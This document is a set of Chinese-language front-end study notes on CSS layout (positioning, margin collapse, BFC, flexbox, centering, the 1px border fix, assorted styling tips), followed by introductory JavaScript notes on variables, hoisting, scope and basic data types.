设置为绝对定位的元素框从文档流完全删除，并相对于其包含块定位，包含块可能是文档中的另一个元素或者是初始包含块。元素原先在正常文档流中所占的空间会关闭，就好像该元素原来不存在一样。元素定位后生成一个块级框，而不论原来它在正常流中生成何种类型的框

.box2 {
  position: absolute;
  left: 30px;
  top: 20px;
}

绝对定位的元素的位置相对于最近的已定位祖先元素，如果元素没有已定位的祖先元素，那么它的位置相对于最初的包含块

外边距合并

简单地说，外边距合并指的是，当两个垂直外边距相遇时，它们将形成一个外边距。合并后的外边距的高度等于两个发生合并的外边距的高度中的较大者

1002J1.jpg

相邻块元素垂直外边距的合并

当上下相邻的两个块元素相遇时，如果上面的元素有下外边距margin-bottom，下面的元素有上外边距margin-top，则他们之间的垂直间距不是margin-bottom与margin-top之和，而是两者中的较大者。这种现象被称为相邻块元素垂直外边距的合并（也称外边距塌陷）

嵌套块元素垂直外边距的合并

对于两个嵌套关系的块元素，如果父元素没有上内边距及边框，则父元素的上外边距会与子元素的上外边距发生合并，合并后的外边距为两者中的较大者，即使父元素的上外边距为0，也会发生合并。

其他情况

假设有一个空元素，它有外边距，但是没有边框或填充。在这种情况下，上外边距与下外边距就碰到了一起，它们会发生合并

如果这个外边距遇到另一个元素的外边距，它还会发生合并

解决方案

  • 可以为父元素定义1像素的上边框或上内边距
  • 可以为父元素添加overflow:hidden
兄弟和兄弟之间垂直方向相遇 
1.浮动 定位特性 
2.给父级 overflow:hidden; 溢出的处理  hidden隐藏  bfc
3.给父级 display:inline-block;

BFC(块级格式化上下文)

BFC块级格式化上下文，是一个独立的布局环境，其中的元素布局是不受外界的影响

它决定了块级元素如何对它的内容进行布局，以及与其他元素的关系和相互关系

​ 块级元素：父级（块元素）

​ 内容：子元素（块元素）

​ 其他元素：与内容同级别的兄弟元素

*相互作用：BFC里的元素与外面的元素不会发生影响 *

什么情况下可以触发BFC

1. float属性不为none
2. position为absolute或fixed
3. display为inline-block, table-cell, table-caption, flex, inline-flex
4. overflow不为visible( hidden、scroll、auto)

BFC布局规则特性

  • 在BFC中，内部的盒子会在垂直方向，一个接一个地排列

  • 在BFC中，盒子垂直方向的距离由margin决定，属于同一个BFC的两个相邻盒子的margin会发生重叠

  • 在BFC中，每一个盒子（块盒与行盒）的左外边缘（margin-left）会触碰到容器的左边缘(border-left)，对于从左往右的格式化，否则相反，即使存在浮动也是如此

  • BFC的区域不会与浮动盒子产生交集，而是紧贴浮动盒子边缘

  • BFC就是页面上的一个隔离的独立容器，容器里面的子元素不会影响到外面的元素。反之也如此

  • 计算BFC的高度时，自然也会检测浮动或者定位的盒子高度

BFC的主要作用

  • 利用BFC避免垂直margin重叠
  • 清除元素内部浮动
  • 自适应右侧盒子布局

利用BFC避免垂直margin重叠

<style>
    p {
        color: #f55;
        background: #fcc;
        width: 200px;
        line-height: 100px;
        text-align: center;
        margin: 100px;
    }
</style>
<body>
    <p>Haha</p>
    <p>Hehe</p>
</body>

两个p盒子的实际垂直距离为100px，而不是200px，其实就是外边距合并问题

根据BFC规则：在BFC中，盒子垂直方向的距离由margin决定，属于同一个BFC的两个相邻盒子的margin会发生重叠

解决办法：我们可以让把第二个p用div包起来，然后激活它使其成为一个BFC

<style>
    p {
        color: #f55;
        background: #fcc;
        width: 200px;
        line-height: 100px;
        text-align: center;
        margin: 100px;
    }
    .wrap {
        overflow: hidden;
    }
</style>
<body>
    <p>Haha</p>
    <div class="wrap">
        <p>Hehe</p>
    </div>  
</body>

清除元素内部浮动

<style>
.parent {
    border: 5px solid #fcc;
    width: 300px;
 }
 
.child {
    border: 5px solid #f66;
    width: 100px;
    height: 100px;
    float: left;
}
</style>
<body>
    <div class="parent">
        <div class="child"></div>
        <div class="child"></div>
    </div>
</body>

由于子盒子设置了float浮动，脱离了文档流，导致父盒子高度为0

根据BFC规则：计算BFC的高度时，自然也会检测浮动或者定位的盒子高度

解决办法：只要把父元素设为BFC就可以清理子元素的浮动了，最常见的用法就是在父元素上设置overflow: hidden样式，对于IE6加上zoom:1就可以了

.parent {
    overflow: hidden;
}

自适应右侧盒子布局

<style>
    .box {
        width: 300px;
        position: relative;
    }

    .left {
        width: 100px;
        height: 150px;
        float: left;
        background: #f66;
    }

    .right {
        height: 200px;
        background: #fcc;
    }
</style>

<body>
    <div class="box">
        <div class="left"></div>
        <div class="right"></div>
    </div>
</body>

BFC规则：

​ 在BFC中，每一个盒子（块盒与行盒）的左外边缘（margin-left）会触碰到容器的左边缘(border-left)，对于从左往右的格式化，否则相反，即使存在浮动也是如此

​ BFC的区域不会与浮动盒子产生交集，而是紧贴浮动盒子边缘

解决办法：通过触发right生成BFC， 来实现自适应两栏布局

.right {
    overflow: hidden;
}

当触发main生成BFC后，这个新的BFC不会与浮动的left重叠。因此会根据包含块的宽度，和left的宽度，自动变窄。效果如下

BFC布局与普通文档流布局区别
普通文档流布局规则

1. 浮动的元素是不会被父级计算高度
2. 非浮动元素会覆盖浮动元素的位置
3. margin会传递给父级
4. 两个相邻元素上下margin会重叠

BFC布局规则

1. 浮动的元素会被父级计算高度（父级触发了BFC）
2. 非浮动元素不会覆盖浮动元素位置（非浮动元素触发了BFC）
3. margin不会传递给父级（父级触发了BFC）
4. 两个相邻元素上下margin不会重叠（给其中一个元素增加一个父级，然后让他的父级触发BFC）

IFC(行级格式化上下文)

IFC布局规则

1. 内联元素会在水平方向一个个地放置
2. IFC地高度是由最高盒子的高度决定地
3. 当一行不够放置的时候会自动切换到下一行
4. 内部元素水平方向的margin、padding、border有效，垂直方向上无效

CSS3-flex布局

flex 简介

也叫伸缩布局

​ 布局的传统解决方案，基于盒状模型，依赖 display 属性 + position属性 + float属性。它对于那些特殊布局非常不方便，比如，垂直居中就不容易实现。

​ CSS3在布局方面做了非常大的改进，使得我们对块级元素的布局排列变得十分灵活，适应性非常强，其强大的伸缩性，在响应式开中可以发挥极大的作用。

​ 2009年，W3C 提出了一种新的方案—-Flex 布局，可以简便、完整、响应式地实现各种页面布局。目前，它已经得到了所有浏览器的支持，这意味着，现在就能很安全地使用这项功能

Flex 是 Flexible Box 的缩写，意为弹性布局，用来为盒状模型提供最大的灵活性。

任何一个容器都可以指定为 Flex 布局

.box{
  display: flex;
}

行内元素也可以使用 Flex 布局

.box{
  display: inline-flex;
}

Webkit 内核的浏览器，必须加上-webkit前缀

.box{
  display: -webkit-flex; /* Safari */
  display: flex;
}

注意，设为 Flex 布局以后，子元素的float、clear和vertical-align属性将失效

基本概念

采用 Flex 布局的元素，称为 Flex 容器（flex container），简称容器。它的所有子元素自动成为容器成员，称为 Flex 项目（flex item），简称项目

容器默认存在两根轴：水平的主轴（main axis）和垂直的交叉轴（cross axis）。主轴的开始位置（与边框的交叉点）叫做main start，结束位置叫做main end；交叉轴的开始位置叫做cross start，结束位置叫做cross end。

项目默认沿主轴排列。单个项目占据的主轴空间叫做main size，占据的交叉轴空间叫做cross size。

主轴：默认是水平方向

侧轴：默认是垂直方向

容器属性

一个简单的例子

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>flex布局</title>
    <style>
        * {
            padding: 0;
            margin: 0;
        }
        .box {
            width: 500px;
            height: 200px;
            background-color: #ccc;
            color: #666;
            margin: 0 auto;
            /* 设置父容器的为伸缩盒子 */
            display: flex;
            /* 设置子元素在主轴方向上的排列方式 */
            /* justify-content: flex-start; */
        }
        .left {
            flex: 1; /* flex是用来设置当前伸缩子项占据剩余空间的比例值 */
            height: 200px;
            background-color: pink;
        }
        .right {
            flex: 4;
            height: 200px;
            background-color: skyblue;
        }
    </style>
</head>
<body>
<div class="box">
    <div class="left">flex: 1=100</div>
    <div class="right">flex: 4=400</div>
</div>
</body>
</html>
10cyXq.png

flex-direction

flex-direction属性决定主轴的方向

.box {
  flex-direction: row | row-reverse | column | column-reverse;
}

row（默认值）：主轴为水平方向，起点在左端。
row-reverse：主轴为水平方向，起点在右端。
column：主轴为垂直方向，起点在上沿。
column-reverse：主轴为垂直方向，起点在下沿。

flex-wrap

默认情况下，flex容器的子元素会强制一行显示，造成原来的子元素宽度变化

.box{
  flex-wrap: nowrap | wrap | wrap-reverse;
}

nowrap（默认）：不换行，强制一行内显示
wrap：自动换行显示，第一行在上方
wrap-reverse:自动换行且反向

（1）nowrap（默认）：强制一行内显示

（2）wrap：自动换行显示

（3）wrap-reverse:自动换行且反向

flex-flow

flex-flow属性是flex-direction属性和flex-wrap属性的简写形式，默认值为row nowrap

.box {
  flex-flow: <flex-direction> || <flex-wrap>;
}
10gdDx.png10gBVK.png10gDUO.png

justify-content

justify-content属性定义了项目在主轴上的对齐方式

.box {
  justify-content: flex-start | flex-end | center | space-between | space-around | space-evenly;
}

flex-start（默认值）：左对齐
flex-end：右对齐
center： 居中
space-between：两端对齐，项目之间的间隔都相等。
space-around：每个项目两侧的间隔相等。所以，项目之间的间隔比项目与边框的间隔大一倍。
space-evenly: 间隔相等
10gmgs.png

align-items

align-items属性定义项目在交叉轴上如何对齐

.box {
  align-items: flex-start | flex-end | center | baseline | stretch;
}

flex-start：交叉轴的起点对齐。
flex-end：交叉轴的终点对齐。
center：交叉轴的中点对齐。
baseline: 项目的第一行文字的基线对齐。
stretch（默认值）：如果项目未设置高度或设为auto，将占满整个容器的高度。
10g3UU.png

align-content

align-content属性定义了多根轴线的对齐方式。如果项目只有一根轴线，该属性不起作用。

.box {
  align-content: flex-start | flex-end | center | space-between | space-around | stretch;
}

flex-start：与交叉轴的起点对齐。
flex-end：与交叉轴的终点对齐。
center：与交叉轴的中点对齐。
space-between：与交叉轴两端对齐，轴线之间的间隔平均分布。
space-around：每根轴线两侧的间隔都相等。所以，轴线之间的间隔比轴线与边框的间隔大一倍。
stretch（默认值）：轴线占满整个交叉轴。

项目属性

flex-grow

flex-grow属性定义项目的放大比例，默认为 0，即如果存在剩余空间，也不放大

.item {
  flex-grow: <number>; /* default 0 */
}
10gWrt.png

如果所有项目的flex-grow属性都为1，则它们将等分剩余空间（如果有的话）。如果一个项目的flex-grow属性为2，其他项目都为1，则前者占据的剩余空间将比其他项多一倍

flex-shrink

flex-shrink属性定义了项目的缩小比例，默认为1，即如果空间不足，该项目将缩小

.item {
  flex-shrink: <number>; /* default 1 */
}
10g7GQ.png

如果所有项目的flex-shrink属性都为1，当空间不足时，都将等比例缩小。如果一个项目的flex-shrink属性为0，其他项目都为1，则空间不足时，前者不缩小。

负值对该属性无效

flex basis

flex-basis属性定义了在分配多余空间之前，项目占据的主轴空间（main size）。浏览器根据这个属性，计算主轴是否有多余空间。它的默认值为auto，即项目的本来大小

.item {
  flex-basis: <length> | auto; /* default auto */
}

可以设为跟width或height属性一样的值（比如350px），则项目将占据固定空间

flex属性

flex属性是flex-grow, flex-shrink 和 flex-basis的简写，默认值为0 1 auto。后两个属性可选。

.item {
  flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ]
}

该属性有两个快捷值：auto (1 1 auto) 和 none (0 0 auto)。

建议优先使用这个属性，而不是单独写三个分离的属性，因为浏览器会推算相关值。

align-self

align-self属性允许单个项目有与其他项目不一样的对齐方式，可覆盖align-items属性。默认值为auto，表示继承父元素的align-items属性，如果没有父元素，则等同于stretch。

.item {
  align-self: auto | flex-start | flex-end | center | baseline | stretch;
}

该属性可能取6个值，除了auto，其他都与align-items属性完全一致。

CSS 注意点

line-height: 0 的情况

想要画下图这个轮播图按钮来着，一个

，中间三个搞定

设置为inline-block，然后设置宽高，margin-top和margin-bottom一样的话，就会在

里垂直居中了对吧，然而并没有。
的高度总是比算出来的高了那么点，使得并没有很完美垂直居中，怪怪的。

<template>
  <div>
    <div class="father">
      <span></span>
      <span></span>
      <span></span>
    </div>
  </div>
</template>

<style lang="less">
.father {
  width: 100px;
  margin: 50px auto;
  line-height: 30px;
  background-color: pink;
  span {
    display: inline-block;
    width: 30px;
    height: 30px;
    border-radius: 50%;
    background-color: blue;
  }
}
</style>

结果

如图并没有垂直居中，也不是margin和padding导致

如果在span里加入文本（123或者其他）或者空格符：&nbsp , 不影响显示

<template>
  <div>
    <div class="father">
      <span>1</span>
      <span>1</span>
      <span>1</span>
    </div>
  </div>
</template>

在不要文本和空格符的情况下，可以给父元素加上：line-height: 0 解决此问题

<template>
  <div>
    <div class="father">
      <span></span>
      <span></span>
      <span></span>
    </div>
  </div>
</template>

<style lang="less">
.father {
  width: 100px;
  margin: 50px auto;
  line-height: 30px;
  background-color: pink;
  line-height: 0;
  span {
    display: inline-block;
    width: 30px;
    height: 30px;
    border-radius: 50%;
    background-color: blue;
  }
}
</style>

结果

给父元素添加： padding: 10px 20px;

font-size: 0 的情况

看一个例子

<template>
  <div>
    <div class="box">
      <div>1</div>
      <div>2</div>
      <div>3</div>
    </div>
  </div>
</template>

<style lang="less">
.box {
  width: 90px;
  height: 60px;
  margin: 50px auto;
  border: 1px solid #ccc;
  div {
    display: inline-block;
    width: 30px;
    font-size: 14px;
    box-sizing: border-box;
    border: 1px solid green;
  }
}
</style>

按道理说，3个div应该在一行显示，但是效果并没有在一行显示

这就是上文说到的原因，我们在box下添加font-size:0;再看看效果

<style lang="less">
.box {
  width: 90px;
  height: 60px;
  margin: 50px auto;
  border: 1px solid #ccc;
  font-size: 0;
  div {
    display: inline-block;
    width: 30px;
    font-size: 14px;
    box-sizing: border-box;
    border: 1px solid green;
  }
}
</style>

结果

可以看到这才是我们想要的结果，因此在实际开发中，为了更好的还原设计稿，在父元素很有必要设置font-size:0，避免莫名其妙的间距。

CSS技巧

长文本处理

默认：字符太长溢出了容器

字符超出部分换行

字符超出位置使用连字符

文本超出省略

单行文本超出省略

.line-1 {
    overflow: hidden; /* 溢出隐藏 */
text-overflow: ellipsis; /* 超出部分显示 省略号 */
white-space: nowrap; /* 强制一行内显示 */
}

多行文本超出省略

.line-2 {
    overflow: hidden;
text-overflow: ellipsis;
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
}

水平垂直居中

单行的文本、行内元素、行内块元素

水平居中

此类元素需要水平居中，则父级元素必须是块级元素，且父级元素上需要这样设置样式

.parent {
    text-align: center;
}

垂直居中

方法一：通过设置上下内间距一致达到垂直居中的效果

.single-line {
    padding-top: 10px;
    padding-bottom: 10px;
}

方法二：通过设置 height 和 line-height 一致达到垂直居中

.single-line {
    height: 100px;
    line-height: 100px;
}

5.CSS实现垂直水平居中（块级元素）———————————————————————————————

实现css垂直水平的方式有很多，下面就写出几种常用的方法

2.父元素相对定位，子元素绝对对位+margin负值

未知宽度

  1. 定位+

    transform

5.flex布局+margin

<style>
    .father {
        width: 500px;
        height: 300px;
        background: lightcoral;
        display: flex;
     }
     .son {
        background: lightblue;
    margin: auto;
      }
</style>
<div class="father">
    <div class="son">我要垂直水平居中</div>
</div>

效果 QQ截图20190626195024.png

1

固定宽高的块级盒子

水平居中

给div设置一个宽度，然后添加margin: 0 auto属性

.box {
width: 100px;
    height: 100px;
    background: red;
    margin: 0 auto;
}

水平垂直居中

<style>
    .box {
        width: 500px;
        height: 400px;
        background-color: pink;
        position: relative;
    }

    .son {
        width: 200px;
        height: 100px;
        background-color: blue;
        position: absolute;
        top: 50%;
        left: 50%;
        margin-top: -50px;
        margin-left: -100px;
    }
</style>

<body>
    <div class="box">
        <div class="son"></div>
    </div>
</body>
<style>
    .box {
        width: 500px;
        height: 400px;
        background-color: pink;
        position: relative;
    }

    .son {
        width: 200px;
        height: 100px;
        background-color: blue;
        position: absolute;
        left: 0;
        right: 0;
        top: 0;
        bottom: 0;
        margin: auto;
    }
</style>

<body>
    <div class="box">
        <div class="son"></div>
    </div>
</body>

不固定宽高的块级盒子

方法一：absolute + transform （常用）

<style>
    .box {
        width: 500px;
        height: 400px;
        background-color: pink;
        position: relative;
    }

    .son {
        width: 200px;
        height: 100px;
        background-color: blue;
        position: absolute;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
    }
</style>

<body>
    <div class="box">
        <div class="son"></div>
    </div>
</body>

方法二：flex （常用）

<style>
    .box {
        width: 500px;
        height: 400px;
        background-color: pink;
        display: flex;
        justify-content: center;
        align-items: center;
    }

    .son {
        width: 200px;
        height: 100px;
        background-color: blue;
    }
</style>

<body>
    <div class="box">
        <div class="son"></div>
    </div>
</body>

方法三：flex + margin

<style>
    .box {
        width: 500px;
        height: 400px;
        background-color: pink;
        display: flex;
    }

    .son {
        width: 200px;
        height: 100px;
        background-color: blue;
        margin: auto;
    }
</style>

<body>
    <div class="box">
        <div class="son"></div>
    </div>
</body>

方法4：line-height + vertical-align

方法5：writing-mode

方法6：table-cell

方法7：grid

10BZOU.jpg

让块级元素里的多行文字垂直居中

这里抛出这样一个问题，如下，让块里的多行文字垂直居中？一说到垂直居中就会想到，单行文字垂直居中line-height等于height；块级元素垂直居中，position定位或者flex布局。但这里我介绍display：table和table-cell是如何让多行文字垂直居中的

display：table-cell 加上 vertical-align：middle 使高度不同的元素都垂直居中，其中div的display：inline-block使几个div在同一行显示。

<div class="parent">
    <p class="son">
        会议认为，党的十八大以来，我国经济发展取得历史性成就、
        发生历史性变革，为其他领域改革发展提供了重要物质条件。经济实力
        再上新台阶，经济年均增长7.1%，成为世界经济增长的主要动力源和稳定器。
    </p>
</
.parent {
    display: table;
    width: 300px;
    height: 300px;
    text-align: center;
}
.son {
    display: table-cell;
    vertical-align: middle;
    height: 200px;
    background-color: yellow;
}

移动端1像素解决方案

在移动端web开发中，UI设计稿中设置边框为1像素，前端在开发过程中如果出现border:1px，测试会发现在retina屏机型中，1px会比较粗，即是较经典的移动端1px像素问题

伪类+transform

原理：把原先元素的border去掉，然后利用:before或者:after重做border，并transform的scale缩小一半，原先的元素相对定位，新做的border绝对定位

/*手机端实现真正的一像素边框*/
.border-1px, .border-bottom-1px, .border-top-1px, .border-left-1px, .border-right-1px {
    position: relative;
}

/*线条颜色 黑色*/
.border-1px::after, .border-bottom-1px::after, .border-top-1px::after, .border-left-1px::after, .border-right-1px::after {
    background-color: #000;
}

/*底边边框一像素*/
.border-bottom-1px::after {
    content: "";
    position: absolute;
    left: 0;
    bottom: 0;
    width: 100%;
    height: 1px;
    transform-origin: 0 0;
}

/*上边边框一像素*/
.border-top-1px::after {
    content: "";
    position: absolute;
    left: 0;
    top: 0;
    width: 100%;
    height: 1px;
    transform-origin: 0 0;
}

/*左边边框一像素*/
.border-left-1px::after {
    content: "";
    position: absolute;
    left: 0;
    top: 0;
    width: 1px;
    height: 100%;
    transform-origin: 0 0;
}

/*右边边框1像素*/
.border-right-1px::after {
    content: "";
    box-sizing: border-box;
    position: absolute;
    right: 0;
    top: 0;
    width: 1px;
    height: 100%;
    transform-origin: 0 0;
}

/*边框一像素*/
.border-1px::after {
    content: "";
    box-sizing: border-box;
    position: absolute;
    left: 0;
    top: 0;
    width: 100%;
    height: 100%;
    border: 1px solid gray;
}


/*设备像素比*/
/*显示屏最小dpr为2*/
@media (-webkit-min-device-pixel-ratio: 2) {
    .border-bottom-1px::after, .border-top-1px::after {
        transform: scaleY(0.5);
    }

    .border-left-1px::after, .border-right-1px::after {
        transform: scaleX(0.5);
    }

    .border-1px::after {
        width: 200%;
        height: 200%;
        transform: scale(0.5);
        transform-origin: 0 0;
    }
}

/*设备像素比*/
@media (-webkit-min-device-pixel-ratio: 3)  {
    .border-bottom-1px::after, .border-top-1px::after {
        transform: scaleY(0.333);
    }

    .border-left-1px::after, .border-right-1px::after {
        transform: scaleX(0.333);
    }

    .border-1px::after {
        width: 300%;
        height: 300%;
        transform: scale(0.333);
        transform-origin: 0 0;
    }
}
/*需要注意<input type="button">是没有:before, :after伪元素的*/

去除图片底侧空白缝隙

有个很重要特性你要记住： 图片或者表单等行内块元素，他的底线会和父级盒子的基线对齐。这样会造成一个问题，就是图片底侧会有一个空白缝隙。

解决的方法就是：

  1. 给img vertical-align:middle | top等等。 让图片不要和基线对齐。

​ 2. 给img 添加 display：block; 转换为块级元素就不会存在问题了。

vertical-align:baseline;
1.图片下方间隙问题
解决方法 => 给img任意值覆盖baseline
2.图文的对齐方式  行内元素或者行内块元素之间的对齐方式
解决方法  顶部对齐  给两个元素同时加上vertical-align:top;
top 对齐元素(你设置了vertical的元素)的顶端 与line-box 的顶端对齐
bottom  对齐元素(你设置了vertical的元素)的底端 与line-box 的底端对齐
middle (常用)对齐元素 的中线 父元素的基线加上小写x

解决inline-block元素设置overflow:hidden属性导致相邻行内元素向下偏移

.wrap {
  display: inline-block;
  overflow: hidden
vertical-align: bottom
}

超出部分显示省略号

// 单行文本
.wrap {
overflow:hidden;/*超出部分隐藏*/
text-overflow:ellipsis;/*超出部分显示省略号*/
white-space:nowrap;/*规定段落中的文本不进行换行 */
}
// 多行文本
.wrap {
    width: 100%;
    overflow: hidden;
    display: -webkit-box;   //将对象作为弹性伸缩盒子模型显示  *必须结合的属性*
    -webkit-box-orient: vertical;   //设置伸缩盒对象的子元素的排列方式  *必须结合的属性*
    -webkit-line-clamp: 3;   //用来限制在一个块元素中显示的文本的行数
    word-break: break-all;   //让浏览器实现在任意位置的换行 *break-all为允许在单词内换行*
}

css实现不换行、自动换行、强制换行

//不换行
.wrap {
  white-space:nowrap;
}
//自动换行
.wrap {
  word-wrap: break-word;
  word-break: normal;
}
//强制换行
.wrap {
  word-break:break-all;
}

CSS实现文本两端对齐

.wrap {
    text-align: justify;
    text-justify: distribute-all-lines;  //ie6-8
    text-align-last: justify;  //一个块或行的最后一行对齐方式
    -moz-text-align-last: justify;
    -webkit-text-align-last: justify;
}

实现文字竖向排版

// 单列展示时
.wrap {
    width: 25px;
    line-height: 18px;
    height: auto;
    font-size: 12px;
    padding: 8px 5px;
    word-wrap: break-word;/*英文的时候需要加上这句，自动换行*/  
}
// 多列展示时
.wrap {
    height: 210px;
    line-height: 30px;
    text-align: justify;
    writing-mode: vertical-lr;  //从左向右    
    writing-mode: tb-lr;        //IE从左向右
    //writing-mode: vertical-rl;  -- 从右向左
    //writing-mode: tb-rl;        -- 从右向左
}

使元素鼠标事件失效

.wrap {
    // 如果按tab能选中该元素，如button，然后按回车还是能执行对应的事件，如click。
pointer-events: none;
cursor: default;
}

禁止用户选择

.wrap {
  -webkit-touch-callout: none;
  -webkit-user-select: none;
  -khtml-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
}

cursor属性

.wrap {
  cursor：pointer; // 小手指；
  cursor：help; // 箭头加问号；
  cursor：wait; // 转圈圈；
  cursor：move; // 移动光标；
  cursor：crosshair; // 十字光标
}

使用硬件加速

.wrap {
    transform: translateZ(0);
}

图片宽度自适应

img {max-width: 100%}

Text-transform和Font Variant

p {text-transform: uppercase}  // 将所有字母变成大写字母
p {text-transform: lowercase}  // 将所有字母变成小写字母
p {text-transform: capitalize} // 首字母大写
p {font-variant: small-caps}   // 将字体变成小型的大写字母

将一个容器设为透明

.wrap { 
  filter:alpha(opacity=50); 
  -moz-opacity:0.5; 
  -khtml-opacity: 0.5; 
  opacity: 0.5; 
}

消除transition闪屏

.wrap {
    -webkit-transform-style: preserve-3d;
    -webkit-backface-visibility: hidden;
    -webkit-perspective: 1000;
}

自定义滚动条

overflow-y: scroll;
整个滚动条
::-webkit-scrollbar {
    width: 5px;
}

滚动条的轨道
::-webkit-scrollbar-track {
    background-color: #ffa336;
    border-radius: 5px;
}

滚动条的滑块
::-webkit-scorllbar-thumb {
    background-color: #ffc076;
    border-radius: 5px;
}

让 HTML 识别 string 里的 ‘\n’ 并换行

body {
  white-space: pre-line;
}

实现一个三角形

.wrap { 
  border-color: transparent transparent green transparent; 
  border-style: solid; 
  border-width: 0px 300px 300px 300px; 
  height: 0px; 
  width: 0px; 
}

移除被点链接的边框

a {outline: none}
a {outline: 0}

使用CSS显示链接之后的URL

a:after{content:" (" attr(href) ") ";}

select内容居中显示、下拉内容右对齐

select{
    text-align: center;
    text-align-last: center;
}
select option {
    direction: rtl;
}

修改input输入框中光标的颜色不改变字体的颜色

input{
    color:  #fff;
    caret-color: red;
}

修改input 输入框中 placeholder 默认字体样式

//webkit内核的浏览器 
input::-webkit-input-placeholder {
    color: #c2c6ce;
}
//Firefox版本4-18 
input:-moz-placeholder {
    color: #c2c6ce;
}
//Firefox版本19+
input::-moz-placeholder {
    color: #c2c6ce;
}
//IE浏览器
input:-ms-input-placeholder {
    color: #c2c6ce;
}

子元素固定宽度 父元素宽度被撑开

// 父元素下的子元素是行内元素
.wrap {
  white-space: nowrap;
}
// 若父元素下的子元素是块级元素
.wrap {
  white-space: nowrap;  // 子元素不被换行
  display: inline-block;
}

让div里的图片和文字同时上下居中

.wrap {
  height: 100,
  line-height: 100
}
img {
  vertival-align：middle
}
// vertical-align css的属性vertical-align用来指定行内元素（inline）或表格单元格（table-cell）元素的垂直对齐方式。只对行内元素、表格单元格元素生效，不能用它垂直对齐块级元素
// vertical-align：baseline/top/middle/bottom/sub/text-top;

实现宽高等比例自适应矩形

       .scale {
           width: 100%;
           padding-bottom: 56.25%;
           height: 0;
           position: relative; 
       }

       .item {
           position: absolute; 
           width: 100%;
           height: 100%;
           background-color: 499e56;
       }    
  <div class="scale">
       <div class="item">
           这里是所有子元素的容器
       </div>
</div>

transfrom的rotate属性在span标签下失效

span {
  display: inline-block
}

边框字体同色

.wrap {
width: 200px;
height: 200px;
color: #000;
font-size: 30px;
border: 50px solid currentColor;
// border: 50px solid; // 实现二
}

复选框美化

// 复选框
input {
  &.checkbox {
    -webkit-appearance: none;
    width: 14px !important;
    height: 14px !important;
    background: url(../img/checkbox14.png) no-repeat;
    cursor: pointer;
    &:checked {
      background: url(../img/checkboxed14.png) no-repeat;
    }
  }
}

垂直对齐

.box{
    position: absolute;
    top: 50%;
    -webkit-transform: translateY(-50%);
    -o-transform: translateY(-50%);
    transform: translateY(-50%);
}

背景渐变动画

button {
    background-image: linear-gradient(#5187c4, #1c2f45);
    background-size: auto 200%;
    background-position: 0 100%;
    transition: background-position 0.5s;
}    
button:hover {
    background-position: 0 0;
}

表格列宽自适应

td {
    white-space: nowrap;
}

为logo隐藏H1

h1 {
    text-indent: -9999px;
    margin: 0 auto;
    width: 320px;
    height: 85px;
    background: transparent url("images/logo.png") no-repeat scroll;
}

内容垂直居中

.container {
    min-height: 6.5em;
    display: table-cell;
    vertical-align: middle;
} 

CSS固定页脚

#footer {
    position: fixed;
    left: 0px;
    bottom: 0px;
    height: 30px;
    width: 100%;
    background: #444;
}
/* IE 6 */
* html #footer {
    position: absolute;
    top: expression((0-(footer.offsetHeight)+(document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight)+(ignoreMe = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop))+'px');
}

JavaScript

简介

JavaScript是一门脚本语言、解释性语言、动态类型的语言、基于对象的语言

JavaScript分为三个部分

1. ECMAScript 标准                 js的基本的语法
2. DOM (Document Object Model)   文档对象模型
3. BOM (Browser Object Model)    浏览器对象模型

变量

变量作用

变量是存储数据值的容器

变量声明

var a; // 变量声明（注：声明之后，变量是没有值的，那么它的值是undefined）

var a = 10; // 变量声明并初始化（初始化就是赋值）
  • 使用关键词 var，可以用来声明局部变量和全局变量。
  • 直接赋值。例如a = 10，在函数内使用这种形式赋值，会产生一个全局变量。在严格模式下会产生错误。因此你不应该使用这种方式来声明变量。
  • 使用关键词 let ，可以用来声明块作用域的局部变量。
var a = 1;

if(a === 1) {
    var a = 2;
    console.log(a); // 2 此处a不是在函数内，所以不是局部变量，相当于重新声明的a
}

console.log(a); // 2
function fn() {
    a = 1;   // 在函数内使用这种形式赋值，会产生一个全局变量，在严格模式（strict mode）下会抛出 ReferenceError 异常
    var b = 2;
}

fn();

console.log(a); // 1 
console.log(b); // ReferenceError: b is not defined (函数内声明的变量是局部变量，外部访问不到)

// 声明变量的作用域限制在其声明位置的上下文中，而非声明变量总是全局的
// 在函数里声明的变量是局部变量，函数外部访问不到

变量预解析

预解析

就是在浏览器解析代码之前，把变量的声明和函数的声明提前（提升）到该作用域的最上面

下面代码示例：

console.log(a); // undefined
var a = 10;

相当于

var a;
console.log(a); // undefined
a = 10;

提升将影响变量声明，而不会影响其值的初始化

function fn() {
console.log(a); // undefined
var a = 1;
console.log(a); // 1
}

// 相当于
function fn() {
    var a;
console.log(a); // undefined
var a = 1;
console.log(a); // 1
}

变量作用域

在函数之外声明的变量，可被当前文档中的任何其他代码所访问，叫做全局变量

在函数内部声明的变量，它只能在当前函数的内部访问，叫做局部变量

if (true) {
var a = 1;
}
console.log(a); // 1
if (true) {
let b = 1; // let 和 const 只在块作用域有效，var没有块作用域概念
}
console.log(b); // b is not defined
var a = 0;

function f() {
var a = b = 1; // a在函数内部声明-是局部变量，b不是
}
f();

console.log(a, b); // 0, 1
// a 是全局变量
// b 是隐式声明的全局变量

注意：全局变量如果页面不关闭，那么var变量就不会释放，就会占空间，消耗内存

数据类型

基本数据类型

又称为简单数据类型，在内存中以固定的大小存储在栈中，按值访问

String    Number    Boolean    undefined    null    Symbol 
字符串      数值      布尔值      未定义       空    (es6新增)

String

由多个16位Unicode字符组成的字符序列，用单引号或双引号表示

var str = 'abc';
var str = '123';

Number

采用了IEEE754格式来表示整数和浮点数值

var num = 10;
var num = 20;

Boolean

只有两个值true和false，全为小写

var flag = true;
var flag = false;
数据类型转为true转为false
Booleantruefalse
String任何非空字符串“ “（空字符串）
Number任何非零数字（包括无穷大），如2，-1，30和NaN
Object任何对象null
Undefinednot applicable（不适用）undefined

null

null 类型的值只有一个，就是null，专门用来表示一个空的对象，使用 typeof 操作符检测 null 值时会返回object

null 值的主要作用是如果定义的变量在将来用于保存对象，那么最好将该变量初始化为null值

typeof null; // object

null不是一个对象，但为什么typeof null === object?

